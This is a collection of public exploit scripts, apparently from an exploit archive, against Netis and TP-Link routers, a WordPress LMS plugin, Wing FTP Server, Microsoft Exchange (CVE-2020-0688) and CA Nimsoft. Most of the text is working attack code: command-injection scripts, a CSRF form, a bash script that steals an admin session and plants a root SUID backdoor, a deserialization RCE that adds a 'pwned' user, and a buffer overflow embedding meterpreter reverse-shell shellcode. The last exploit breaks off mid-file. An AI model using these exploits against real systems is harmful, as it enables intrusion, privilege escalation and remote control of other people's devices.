# Exploit Title: Netis WF2419 2.2.36123 - Remote Code Execution # Exploit Author: Elias Issa # Vendor Homepage: http://www.netis-systems.com # Software Link: http://www.netis-systems.com/Suppory/downloads/dd/1/img/75 # Date: 2020-02-11 # Version: WF2419 V2.2.36123 => V2.2.36123 # Tested on: NETIS WF2419 V2.2.36123 and V2.2.36123 # CVE : CVE-2019-19356 # Proof of Concept: python netis_rce.py http://192.168.1.1 "ls" #!/usr/bin/env python import argparse import requests import json def exploit(host,cmd): # Send Payload headers_value={'User-Agent': 'Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0', 'Content-Type': 'application/x-www-form-urlencoded'} post_data="mode_name=netcore_set&tools_type=2&tools_ip_url=|+"+cmd+"&tools_cmd=1&net_tools_set=1&wlan_idx_num=0" vulnerable_page = host + "/cgi-bin-igd/netcore_set.cgi" req_payload = requests.post(vulnerable_page, data=post_data, headers=headers_value) print('[+] Payload sent') try : json_data = json.loads(req_payload.text) if json_data[0] == "SUCCESS": print('[+] Exploit Sucess') # Get Command Result print('[+] Getting Command Output\n') result_page = host + "/cgi-bin-igd/netcore_get.cgi" post_data = "mode_name=netcore_get&no=no" req_result = requests.post(result_page, data=post_data, headers=headers_value) json_data = json.loads(req_result.text) results = json_data["tools_results"] print results.replace(';', '\n') else: print('[-] Exploit Failed') except: print("[!] You might need to login.") # To be implemented def login(user, password): print('To be implemented') def main(): host = args.host cmd = args.cmd user = args.user password = args.password #login(user,password) exploit(host,cmd) if __name__ == "__main__": ap = argparse.ArgumentParser( description="Netis WF2419 Remote Code Execution Exploit (CVE-2019-1337) [TODO]") ap.add_argument("host", help="URL (Example: http://192.168.1.1).") ap.add_argument("cmd", help="Command to run.") ap.add_argument("-u", "--user", help="Admin username (Default: admin).", default="admin") ap.add_argument("-p", "--password", help="Admin password (Default: admin).", default="admin") args = ap.parse_args() main()
-
TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware)
# Exploit Title: TL-WR849N 0.9.1 4.16 - Authentication Bypass (Upload Firmware) # Date: 2019-11-20 # Exploit Author: Elber Tavares # Vendor Homepage: https://www.tp-link.com/ # Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware # Version: TL-WR849N 0.9.1 4.16 # Tested on: linux, windows # CVE : CVE-CVE-2019-19143 Uploading new firmware without access to the panel REFS: https://github.com/ElberTavares/routers-exploit/tp-link https://fireshellsecurity.team/hack-n-routers/ Poc: curl -i -X POST -H "Content-Type: multipart/form-data" -H "Referer: http://TARGET/mainFrame.htm" -F [email protected] http://TARGET/cgi/confup
-
WordPress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User)
# Exploit Title: Wordpress Plugin Tutor LMS 1.5.3 - Cross-Site Request Forgery (Add User) # Date: 2020-01-30 # Vendor Homepage: https://www.themeum.com/product/tutor-lms/ # Vendor Changelog: https://wordpress.org/plugins/tutor/#developers # Exploit Author: Jinson Varghese Behanan # Author Advisory: https://www.getastra.com/blog/911/plugin-exploit/cross-site-request-forgery-in-tutor-lms-plugin/ # Author Homepage: https://www.jinsonvarghese.com # Version: 1.5.2 and below # CVE : CVE-2020-8615 # 1. Description # The Tutor LMS WordPress plugin is a feature-packed plugin that enables users to create and sell courses. # An attacker can use CSRF to register themselves as an instructor or block other legit instructors. # Consequently, if the option to create courses without admin approval is enabled on the plugin’s settings # page, the attacker will be able to create courses directly as well. All WordPress websites # using Tutor LMS version 1.5.2 and below are affected. # 2. Proof of Concept # As the requests for the approval and blocking of instructors are sent using the GET method, the CSRF # attack to approve an attacker-controlled instructor account can be performed by having the admin # visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=approve&instructor=8 directly, # after retrieving the instructor ID during the registration process. An approved instructor can also be blocked # by directing the admin to visit https://TARGET/wp-admin/admin.php?page=tutor-instructors&action=blocked&instructor=7. # CSRF attack can also be performed on the form present at https://TARGET/wp-admin/admin.php?page=tutor-instructors&sub_page=add_new_instructor # in order to have the admin add an instructor account for the attacker, thus bypassing the requirement for approval. # This can be done by tricking the admin to submit the below-given web form as a POST request. For example, if the web form is # hosted on an attacker-controlled domain https://attacker.com/csrf.html, an admin who is logged in at https://TARGET can # be tricked into visiting the link and triggering the request to add an instructor. <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://TARGET/wp-admin/admin-ajax.php" method="POST"> <input type="hidden" name="action" value="add_new_instructor" /> <input type="hidden" name="first_name" value="John" /> <input type="hidden" name="last_name" value="Doe" /> <input type="hidden" name="user_login" value="jd_instructor" /> <input type="hidden" name="email" value="jd@TARGET" /> <input type="hidden" name="phone_number" value="1231231231" /> <input type="hidden" name="password" value="Pa$$w0rd!" /> <input type="hidden" name="password_confirmation" value="Pa$$w0rd!" /> <input type="hidden" name="tutor_profile_bio" value="Et tempore culpa n" /> <input type="hidden" name="action" value="tutor_add_instructor" /> <input type="submit" value="Submit request" /> </form> </body> </html> 3. Timeline Vulnerability reported to the Tutor LMS team – January 30, 2020. Tutor LMS version 1.5.3 containing the fix released – February 4, 2020.
-
Wing FTP Server 6.2.5 - Privilege Escalation
# Exploit Title: Wing FTP Server 6.2.5 - Privilege Escalation # Google Dork: intitle:"Wing FTP Server - Web" # Date: 2020-03-03 # Exploit Author: Cary Hooper # Vendor Homepage: https://www.wftpserver.com # Software Link: https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz # Version: v6.2.5 and prior # Tested on: Ubuntu 18.04 # CVE: N/A # If $_WINGFTPDIR is the installation directory where Wing FTP was installed, # $_WINGFTPDIR/wftpserver/session/* --> corresponds to user sessions... world readable/writeable (possibly exploitable) # $_WINGFTPDIR/wftpserver/session_admin/* --> corresponds to admin sessions... world readable/writeable. # We can wait for an admin to log in, steal their session, then launch a curl command which executes LUA. # https://www.hooperlabs.xyz/disclosures/cve-2020-9470.php (writeup) #!/bin/bash echo 'Local root privilege escalation for Wing FTP Server (v.6.2.5)' echo 'Exploit by Cary Hooper (@nopantrootdance)' function writeBackdoor() { #this function creates a backdoor program (executes bash) echo " Writing backdoor in $1" echo '#include <stdio.h>' > $1/foobarh00p.c echo '#include <sys/types.h>' >> $1/foobarh00p.c echo '#include <unistd.h>' >> $1/foobarh00p.c echo 'int main(void){setuid(0); setgid(0); system("/bin/bash");}' >> $1/foobarh00p.c gcc -w $1/foobarh00p.c -o $1/foobarh00p } function makeRequest() { #Executes Lua command in admin panel to set the suid bit/chown on our backdoor #Change owner to root curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chown%20root%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html" >/dev/null 2>/dev/null #Make SUID curl -i -k -b "UIDADMIN=$1" --data "command=io.popen('chmod%204777%20$2%2Ffoobarh00p')" 'http://127.0.0.1:5466/admin_lua_script.html?r=0.08732964480139693' -H "Referer: http://127.0.0.1:5466/admin_lua_term.html" >/dev/null 2>/dev/null } directories=( "/tmp" "/var/tmp" "/dev/shm" ) for dir in "${directories[@]}" do #Check if directories are writeable if [ -w $dir ] then echo "[!] Writeable directory found: $dir" export backdoordir=$dir break else echo " $dir is not writeable..."; fi done writeBackdoor $backdoordir #Look for directory where administrative sessions are handled ($_WINGFTPDIR/session_admin/). echo " Finding the wftpserver directory" export sessiondir=$(find / -name session_admin -type d 2>/dev/null | grep --color=never wftpserver) if [ -z "$sessiondir" ]; then echo "Wing FTP directory not found. Consider looking manually."; exit 1; fi #Note: if no directory is found, look manually for the "wftpserver" directory, or a "wftpserver" binary. Change the variable below and comment out the code above. #export sessiondir="/opt/wftpserver/session_admin" #While loop to wait for an admin session to be established. echo " Waiting for a Wing FTP admin to log in. This may take a while..." count=0 while : ; do if [ "$(ls -A $sessiondir)" ]; then #If a session file exists, the UID_ADMIN cookie is the name of the file. echo "[!] An administrator logged in... stealing their session." export cookie=$(ls -A $sessiondir | cut -d '.' -f1) export ip=$(cat $sessiondir/$cookie.lua | grep ipaddress| cut -d '[' -f4 | cut -d ']' -f1) echo " Changing IP restrictions on the cookie..." cat $sessiondir/$cookie.lua | sed "s/$ip/127.0.0.1/g" > $backdoordir/$cookie.lua cp $backdoordir/$cookie.lua $sessiondir/$cookie.lua rm $backdoordir/$cookie.lua echo "[!] Successfully stole session." #Once found, make the malicious curl request export urldir=$(sed "s/\//\%2F/g" <<<$backdoordir) echo " Making evil request as Wing FTP admin... (backdoor in ${backdoordir})" makeRequest $cookie $urldir break else #Checks every 10 seconds. Outputs date to terminal for user feedback purposes only. sleep 10 let "count+=1" if [ $count -eq 10 ]; then date; fi echo "..." fi done #Check if backdoor was created correctly if [ $(stat -c "%a" $backdoordir/foobarh00p) != "4777" ]; then echo " Something went wrong. Backdoor is not SUID"; exit 1; fi if [ $(stat -c "%U" $backdoordir/foobarh00p) != "root" ]; then echo " Something went wrong. Backdoor is not owned by root"; exit 1; fi echo " Backdoor is now SUID owned by root." echo "[!] Executing backdoor. Cross your fingers..." #Execute the backdoor... root! $backdoordir/foobarh00p
-
Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution
# Exploit Title: Microsoft Exchange 2019 15.2.221.12 - Authenticated Remote Code Execution # Date: 2020-02-28 # Exploit Author: Photubias # Vendor Advisory: [1] https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688 # [2] https://www.thezdi.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys # Vendor Homepage: https://www.microsoft.com # Version: MS Exchange Server 2010 SP3 up to 2019 CU4 # Tested on: MS Exchange 2019 v15.2.221.12 running on Windows Server 2019 # CVE: CVE-2020-0688 #! /usr/bin/env python # -*- coding: utf-8 -*- ''' Copyright 2020 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. File name CVE-2020-0688-Photubias.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be This is a native implementation without requirements, written in Python 2. Works equally well on Windows as Linux (as MacOS, probably ;-) Reverse Engineered Serialization code from https://github.com/pwntester/ysoserial.net Example Output: CVE-2020-0688-Photubias.py -t https://10.11.12.13 -u sean -c "net user pwned pwned /add" [+] Login worked [+] Got ASP.NET Session ID: 83af2893-6e1c-4cee-88f8-b706ebc77570 [+] Detected OWA version number 15.2.221.12 [+] Vulnerable View State "B97B4E27" detected, this host is vulnerable! [+] All looks OK, ready to send exploit (net user pwned pwned /add)? [Y/n]: [+] Got Payload: /wEy0QYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAADzBDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIm5ldCB1c2VyIHB3bmVkIHB3bmVkIC9hZGQiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5PgvjXlpQBwdP741icUH6Wivr7TlI6g== Sending now ... ''' import urllib2, urllib, base64, binascii, hashlib, hmac, struct, argparse, sys, cookielib, ssl, getpass ## STATIC STRINGS # This string acts as a template for the serialization (contains "###payload###" to be replaced and TWO size locations) strSerTemplate = base64.b64decode('/wEy2gYAAQAAAP////8BAAAAAAAAAAwCAAAAXk1pY3Jvc29mdC5Qb3dlclNoZWxsLkVkaXRvciwgVmVyc2lvbj0zLjAuMC4wLCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPTMxYmYzODU2YWQzNjRlMzUFAQAAAEJNaWNyb3NvZnQuVmlzdWFsU3R1ZGlvLlRleHQuRm9ybWF0dGluZy5UZXh0Rm9ybWF0dGluZ1J1blByb3BlcnRpZXMBAAAAD0ZvcmVncm91bmRCcnVzaAECAAAABgMAAAD8BDxSZXNvdXJjZURpY3Rpb25hcnkNCiAgeG1sbnM9Imh0dHA6Ly9zY2hlbWFzLm1pY3Jvc29mdC5jb20vd2luZngvMjAwNi94YW1sL3ByZXNlbnRhdGlvbiINCiAgeG1sbnM6eD0iaHR0cDovL3NjaGVtYXMubWljcm9zb2Z0LmNvbS93aW5meC8yMDA2L3hhbWwiDQogIHhtbG5zOlN5c3RlbT0iY2xyLW5hbWVzcGFjZTpTeXN0ZW07YXNzZW1ibHk9bXNjb3JsaWIiDQogIHhtbG5zOkRpYWc9ImNsci1uYW1lc3BhY2U6U3lzdGVtLkRpYWdub3N0aWNzO2Fzc2VtYmx5PXN5c3RlbSI+DQoJIDxPYmplY3REYXRhUHJvdmlkZXIgeDpLZXk9IkxhdW5jaENhbGMiIE9iamVjdFR5cGUgPSAieyB4OlR5cGUgRGlhZzpQcm9jZXNzfSIgTWV0aG9kTmFtZSA9ICJTdGFydCIgPg0KICAgICA8T2JqZWN0RGF0YVByb3ZpZGVyLk1ldGhvZFBhcmFtZXRlcnM+DQogICAgICAgIDxTeXN0ZW06U3RyaW5nPmNtZDwvU3lzdGVtOlN0cmluZz4NCiAgICAgICAgPFN5c3RlbTpTdHJpbmc+L2MgIiMjI3BheWxvYWQjIyMiIDwvU3lzdGVtOlN0cmluZz4NCiAgICAgPC9PYmplY3REYXRhUHJvdmlkZXIuTWV0aG9kUGFyYW1ldGVycz4NCiAgICA8L09iamVjdERhdGFQcm92aWRlcj4NCjwvUmVzb3VyY2VEaWN0aW9uYXJ5Pgs=') # This is a key installed in the Exchange Server, it is changeable, but often not (part of the vulnerability) strSerKey = binascii.unhexlify('CB2721ABDAF8E9DC516D621D8B8BF13A2C9E8689A25303BF') def convertInt(iInput, length): return struct.pack("<I" , int(iInput)).encode('hex')[:length] def getYsoserialPayload(sCommand, sSessionId): ## PART1 of the payload to hash strPart1 = strSerTemplate.replace('###payload###', sCommand) ## Fix the length fields #print(binascii.hexlify(strPart1[3]+strPart1[4])) ## 'da06' > '06da' (0x06b8 + len(sCommand)) #print(binascii.hexlify(strPart1[224]+strPart1[225])) ## 'fc04' > '04fc' (0x04da + len(sCommand)) strLength1 = convertInt(0x06b8 + len(sCommand),4) strLength2 = convertInt(0x04da + len(sCommand),4) strPart1 = strPart1[:3] + binascii.unhexlify(strLength1) + strPart1[5:] strPart1 = strPart1[:224] + binascii.unhexlify(strLength2) + strPart1[226:] ## PART2 of the payload to hash strPart2 = '274e7bb9' for v in sSessionId: strPart2 += binascii.hexlify(v)+'00' strPart2 = binascii.unhexlify(strPart2) strMac = hmac.new(strSerKey, strPart1 + strPart2, hashlib.sha1).hexdigest() strResult = base64.b64encode(strPart1 + binascii.unhexlify(strMac)) return strResult def verifyLogin(sTarget, sUsername, sPassword, oOpener, oCookjar): if not sTarget[-1:] == '/': sTarget += '/' ## Verify Login lPostData = {'destination' : sTarget, 'flags' : '4', 'forcedownlevel' : '0', 'username' : sUsername, 'password' : sPassword, 'passwordText' : '', 'isUtf8' : '1'} try: sResult = oOpener.open(urllib2.Request(sTarget + 'owa/auth.owa', data=urllib.urlencode(lPostData), headers={'User-Agent':'Python'})).read() except: print('[!] Error, ' + sTarget + ' not reachable') bLoggedIn = False for cookie in oCookjar: if cookie.name == 'cadata': bLoggedIn = True if not bLoggedIn: print('[-] Login Wrong, too bad') exit(1) print('[+] Login worked') ## Verify Session ID sSessionId = '' sResult = oOpener.open(urllib2.Request(sTarget+'ecp/default.aspx', headers={'User-Agent':'Python'})).read() for cookie in oCookjar: if 'SessionId' in cookie.name: sSessionId = cookie.value print('[+] Got ASP.NET Session ID: ' + sSessionId) ## Verify OWA Version sVersion = '' try: sVersion = sResult.split('stylesheet')[0].split('href="')[1].split('/')[2] except: sVersion = 'favicon' if 'favicon' in sVersion: print('[*] Problem, this user has never logged in before (wizard detected)') print(' Please log in manually first at ' + sTarget + 'ecp/default.aspx') exit(1) print('[+] Detected OWA version number '+sVersion) ## Verify ViewStateValue sViewState = '' try: sViewState = sResult.split('__VIEWSTATEGENERATOR')[2].split('value="')[1].split('"')[0] except: pass if sViewState == 'B97B4E27': print('[+] Vulnerable View State "B97B4E27" detected, this host is vulnerable!') else: print('[-] Error, viewstate wrong or not correctly parsed: '+sViewState) ans = raw_input('[?] Still want to try the exploit? [y/N]: ') if ans == '' or ans.lower() == 'n': exit(1) return sSessionId, sTarget, sViewState def main(): parser = argparse.ArgumentParser() parser.add_argument('-t', '--target', help='Target IP or hostname (e.g. https://owa.contoso.com)', default='') parser.add_argument('-u', '--username', help='Username (e.g. joe or [email protected])', default='') parser.add_argument('-p', '--password', help='Password (leave empty to ask for it)', default='') parser.add_argument('-c', '--command', help='Command to put behind "cmd /c " (e.g. net user pwned pwned /add)', default='') args = parser.parse_args() if args.target == '' or args.username == '' or args.command == '': print('[!] Example usage: ') print(' ' + sys.argv[0] + ' -t https://owa.contoso.com -u joe -c "net user pwned pwned /add"') else: if args.password == '': sPassword = getpass.getpass('[*] Please enter the password: ') else: sPassword = args.password ctx = ssl.create_default_context() ctx.check_hostname = False ctx.verify_mode = ssl.CERT_NONE oCookjar = cookielib.CookieJar() #oProxy = urllib2.ProxyHandler({'http': '127.0.0.1:8080', 'https': '127.0.0.1:8080'}) #oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar),oProxy) oOpener = urllib2.build_opener(urllib2.HTTPSHandler(context=ctx),urllib2.HTTPCookieProcessor(oCookjar)) sSessionId, sTarget, sViewState = verifyLogin(args.target, args.username, sPassword, oOpener, oCookjar) ans = raw_input('[+] All looks OK, ready to send exploit (' + args.command + ')? [Y/n]: ') if ans.lower() == 'n': exit(0) sPayLoad = getYsoserialPayload(args.command, sSessionId) print('[+] Got Payload: ' + sPayLoad) sURL = sTarget + 'ecp/default.aspx?__VIEWSTATEGENERATOR=' + sViewState + '&__VIEWSTATE=' + urllib.quote_plus(sPayLoad) print(' Sending now ...') try: oOpener.open(urllib2.Request(sURL, headers={'User-Agent':'Python'})) except urllib2.HTTPError, e: if e.code == '500': print('[+] This probably worked (Error Code 500 received)') if __name__ == "__main__": main()
-
TP LINK TL-WR849N - Remote Code Execution
# Exploit Title: TP LINK TL-WR849N - Remote Code Execution # Date: 2019-11-20 # Exploit Author: Elber Tavares # Vendor Homepage: https://www.tp-link.com/ # Software Link: https://www.tp-link.com/br/support/download/tl-wr849n/#Firmware # Version: TL-WR849N 0.9.1 4.16 # Tested on: linux, windows # CVE : CVE-2020-9374 import requests def output(headers,cookies): url = 'http://192.168.0.1/cgi?1' data = '' data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,3\x0d\x0a' data += 'diagnosticsState\x0d\x0a' data += 'X_TP_HopSeq\x0d\x0a' data += 'X_TP_Result\x0d\x0a' r = requests.post(url,data=data,headers=headers,cookies=cookies) saida = r.text filtro = saida.replace(': Name or service not known','') filtro = filtro.replace('[0,0,0,0,0,0]0','') filtro = filtro.replace('diagnosticsState=','') filtro = filtro.replace('X_TP_HopSeq=0','') filtro = filtro.replace('X_TP_Result=','') print(filtro[:-8]) def aceppt(headers,cookies): url = 'http://192.168.0.1/cgi?7' data = '[ACT_OP_TRACERT#0,0,0,0,0,0#0,0,0,0,0,0]0,0\x0d\x0a' r = requests.post(url,data=data,headers=headers,cookies=cookies) output(headers,cookies) def inject(command,headers,cookies): url = 'http://192.168.0.1/cgi?2' data = '' data += '[TRACEROUTE_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,8\x0d\x0a' data += 'maxHopCount=20\x0d\x0a' data += 'timeout=5\x0d\x0a' data += 'numberOfTries=1\x0d\x0a' data += 'host=\"$('+command+')\"\x0d\x0a' data += 'dataBlockSize=64\x0d\x0a' data += 'X_TP_ConnName=ewan_pppoe\x0d\x0a' data += 'diagnosticsState=Requested\x0d\x0a' data += 'X_TP_HopSeq=0\x0d\x0a' r = requests.post(url,data=data,headers=headers,cookies=cookies) aceppt(headers,cookies) def main(): cookies = {"Authorization": "Basic REPLACEBASE64AUTH"} headers = {'Content-Type': 'text/plain', 'Referer': 'http://192.168.0.1/mainFrame.htm'} while True: command = input('$ ') inject(command,headers,cookies) main()
-
CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow
# Exploit Title: CA Unified Infrastructure Management Nimsoft 7.80 - Remote Buffer Overflow # Exploit Author: wetw0rk # Exploit Version: Public POC # Vendor Homepage: https://docops.ca.com/ca-unified-infrastructure-management/9-0-2/en # Software Version : 7.80 # Tested on: Windows 10 Pro (x64), Windows Server 2012 R2 Standard (x64) # CVE: CVE-2020-8012 /************************************************************************************************************************** * * * Description: * * * * Unauthenticated Nimbus nimcontroller RCE, tested against build 7.80.3132 although multiple versions are affected. * * The exploit won't crash the service. * * * * You may have to run the exploit code multiple times on Windows Server 2012. If you exploit Windows Server 2019 it * * should work as well just didn't get a chance to test it (reversing other things), I put faith in my ROP chain being * * universal (worked first try on 2012). * * * * Note: * * * * This is what it looks like, a fully remote stack based userland x64 exploit (NOT WOW64) and YES this did bypass * * the stack cookie. WE OUT HERE!!! * * * * Compile: * * * * gcc poc_release.c -o singAboutMeImDyingOfThirst * * * * Shoutout: * * * * Xx25, SneakyNachos, liquidsky, Itzik, r4g1n-cajun, FR13NDZ, Geluchat, ihack4falafel, cheshire_jack, the NSA * * for dropping Ghidra, and my Mentor * * * * ----------------------------------------------- ReSpoNsIb1E Di$C10sUrE ----------------------------------------------- * * 11/07/19 - Vendor contacted (POC code and POC video sent) * * 11/15/19 - Vendor contacted for update, engineering team unable to reproduce bug * * 11/20/19 - Vendor cannot reproduce bug, call for a demo scheduled * * 11/22/19 - Vendor rescheduled to Dec 3rd, claims (<ROAST REDACTED>...) * * 12/03/19 - Vendor confirms exploitability and vulnerability presence * * 12/13/19 - Vendor finalizing hotfix * * 12/19/19 - Vendor hotfix tested against POC code * * 01/07/20 - Vendor contacted for update on patch and case status, followed up on 01/14/20 * * 01/21/20 - Vendor replies (awaiting more info) * * 01/27/20 - Vendor requests exploit code to release in late February to allow customers time to patch * * 02/XX/20 - PoC sample dropped * **************************************************************************************************************************/ #include <stdio.h> #include <stdint.h> #include <ctype.h> #include <stdlib.h> #include <string.h> #include <getopt.h> #include <unistd.h> #include <arpa/inet.h> #include <sys/socket.h> #include <netinet/in.h> /* msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.159.157 LPORT=42 -f c */ unsigned char shellcode[] = \ "\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51\x41\x50\x52" "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" "\x01\xd0\x66\x81\x78\x18\x0b\x02\x0f\x85\x72\x00\x00\x00\x8b" "\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b" "\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41" "\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1" "\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45" "\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b" "\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01" "\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48" "\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9" "\x4b\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00" "\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5" "\x49\xbc\x02\x00\x00\x2a\xc0\xa8\x9f\x9d\x41\x54\x49\x89\xe4" "\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68" "\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x6a\x0a" "\x41\x5e\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89" "\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5" "\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba" "\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0a\x49\xff\xce\x75\xe5" "\xe8\x93\x00\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9" "\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5" "\x83\xf8\x00\x7e\x55\x48\x83\xc4\x20\x5e\x89\xf6\x6a\x40\x41" "\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41" "\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31" "\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8" "\x5f\xff\xd5\x83\xf8\x00\x7d\x28\x58\x41\x57\x59\x68\x00\x40" "\x00\x00\x41\x58\x6a\x00\x5a\x41\xba\x0b\x2f\x0f\x30\xff\xd5" "\x57\x59\x41\xba\x75\x6e\x4d\x61\xff\xd5\x49\xff\xce\xe9\x3c" "\xff\xff\xff\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xb4\x41" "\xff\xe7\x58\x6a\x00\x59\x49\xc7\xc2\xf0\xb5\xa2\x56\xff\xd5"; const char *exploited[] = \ { "10.0.18362", "6.3.9600", }; const char *versions[]= \ { "7.80 [Build 7.80.3132, Jun 1 2015]", }; /******************************************************************************************************************** * * * NimsoftProbe: * * * * This is the structure used for the packet generator, it will be used specifically as the return type. Within * * the structure there are 2 members, first the pointer to the packet and secondly the packet length. * * * * NimsoftProbe *packet_gen(char *lparams[], int nparams, int exploit_buffer): * * * * This function will generate a nimbus probe, taken from nimpack (tool I developed while reverse engineering) a * * few modifications where made to handle the exploit buffer (mainly since it contains NULLS). * * * ********************************************************************************************************************/ #define PHLEN 300 /* header */ #define PBLEN 2000 /* body */ #define PALEN 10000 /* argv */ #define FPLEN 20000 /* final probe */ #define CLIENT "127.0.0.1/1337" #define INTSIZ(x) snprintf(NULL, 0, "%i", x) unsigned char packet_header[] = \ "\x6e\x69\x6d\x62\x75\x73\x2f\x31\x2e\x30\x20%d\x20%d\x0d\x0a"; unsigned char packet_body[] = \ /* nimbus header */ "\x6d\x74\x79\x70\x65\x0F" /* mtype */ "\x37\x0F\x34\x0F\x31\x30\x30\x0F" /* 7.4.100 */ "\x63\x6d\x64\x0F" /* cmd */ "\x37\x0F%d\x0F" /* 7.x */ "%s\x0F" /* probe */ "\x73\x65\x71\x0F" /* seq */ "\x31\x0F\x32\x0F\x30\x0F" /* 1.2.0 */ "\x74\x73\x0F" /* ts */ "\x31\x0F%d\x0F" /* 1.X */ "%d\x0F" /* UNIX EPOCH */ "\x66\x72\x6d\x0F" /* frm */ "\x37\x0F%d\x0F" /* 7.15 */ "%s\x0F" /* client addr */ "\x74\x6f\x75\x74\x0F" /* tout */ "\x31\x0F\x34\x0F\x31\x38\x30\x0F" /* 1.4.180 */ "\x61\x64\x64\x72\x0F" /* addr */ "\x37\x0F\x30\x0F"; /* 7.0 */ typedef struct { char *packet; int length; } NimsoftProbe; 